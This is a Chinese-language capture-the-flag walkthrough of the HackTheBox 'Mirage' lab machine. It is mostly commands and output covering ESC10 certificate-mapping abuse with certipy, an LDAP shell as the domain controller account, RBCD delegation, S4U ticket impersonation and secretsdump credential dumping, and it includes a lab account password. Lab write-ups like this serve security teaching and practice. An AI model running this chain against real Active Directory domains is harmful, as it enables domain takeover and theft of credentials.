能发现 MIRAGE-SERVICE$ 可以对 mark.bbond 的 UPN 属性可写

ESC 10

跟着链接走即可：https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc10-weak-certificate-mapping-for-schannel-authentication

➜  Mirage certipy-ad account -dc-ip 10.10.11.78 -k -upn 'dc01$@mirage.htb' -target dc01.mirage.htb -user 'mark.bbond' update 
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Updating user 'mark.bbond':
    userPrincipalName                   : dc01$@mirage.htb
[*] Successfully updated 'mark.bbond'

➜  Mirage export KRB5CCNAME=mark.bbond.ccache 
➜  Mirage certipy-ad req -dc-ip 10.10.11.78 -k -target 'dc01.mirage.htb' -ca 'mirage-DC01-CA' -template 'User'
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 13
[*] Successfully requested certificate
[*] Got certificate with UPN 'dc01$@mirage.htb'
[*] Certificate object SID is 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Saving certificate and private key to 'dc01.pfx'
File 'dc01.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to 'dc01.pfx'

➜  Mirage certipy-ad account -dc-ip 10.10.11.78 -k -upn 'mark.bbond@mirage.htb' -target dc01.mirage.htb -user 'mark.bbond' update 
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Updating user 'mark.bbond':
    userPrincipalName                   : mark.bbond@mirage.htb
[*] Successfully updated 'mark.bbond'

➜  Mirage certipy-ad auth -pfx dc01.pfx -dc-ip 10.10.11.78 -ldap-shell                                                            
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'dc01$@mirage.htb'
[*]     Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.10.11.78:636'
[*] Authenticated to '10.10.11.78' as: 'u:MIRAGE\\DC01$'
Type help for list of commands

# whoami
u:MIRAGE\DC01$

拿到 LDAP shell后，我们直接设置RBCD

# set_rbcd dc01$ NATHAN.AADAM
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000

Found Grantee DN: CN=nathan.aadam,OU=Users,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1110
Delegation rights modified successfully!
NATHAN.AADAM can now impersonate users on dc01$ via S4U2Proxy

常规打法

➜  Mirage getST.py -spn 'cifs/dc01.mirage.htb' -impersonate 'DC01$' 'mirage.htb/nathan.aadam:3edc#EDC3'
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating DC01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in DC01$@cifs_dc01.mirage.htb@MIRAGE.HTB.ccache

最后直接上 secretsdump 即可

➜  Mirage export KRB5CCNAME=DC01\$@cifs_dc01.mirage.htb@MIRAGE.HTB.ccache
➜  Mirage secretsdump.py mirage.htb/'DC01$'@dc01.mirage.htb -k -no-pass

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
491xxxxxxxxxxxxxxxxxxxxxxxxxx

总结

任重道远，比之前打的顺很多了

前期 Nats 的利用没想到，其实并不难，只是脑筋转不过来

最难的不是利用漏洞，而是寻找漏洞，ESC10 我是真的想不到那边去，因为在BloodHound中，我并没有找到证书颁发机构，最后枚举了了一下才发现有

HackTheBox - Season8 - Mirage